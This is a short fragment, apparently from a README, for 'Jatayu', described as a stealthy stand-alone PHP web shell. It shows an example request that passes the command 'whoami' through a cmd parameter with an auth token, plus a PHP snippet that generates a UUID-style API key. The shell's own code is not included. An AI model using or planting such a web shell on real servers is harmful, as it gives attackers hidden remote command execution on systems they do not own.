Jatayu: Stealthy Stand Alone PHP Web Shell

GET /test/jatayu.php?fn=1&&cmd=whoami

Host : http://test.com

Authtoken : bb3b1a1f-0447-42a6-955a-88681fb88499

<?php

$r = unpack('v*', fread(fopen('/dev/random', 'r'),16));

$apiKey = sprintf('%04x%04x-%04x-%04x-%04x-%04x%04x%04x',

    $r[1], $r[2], $r[3], $r[4] & 0x0fff | 0x4000,

    $r[5] & 0x3fff | 0x8000, $r[6], $r[7], $r[8]);

echo $apiKey;

?>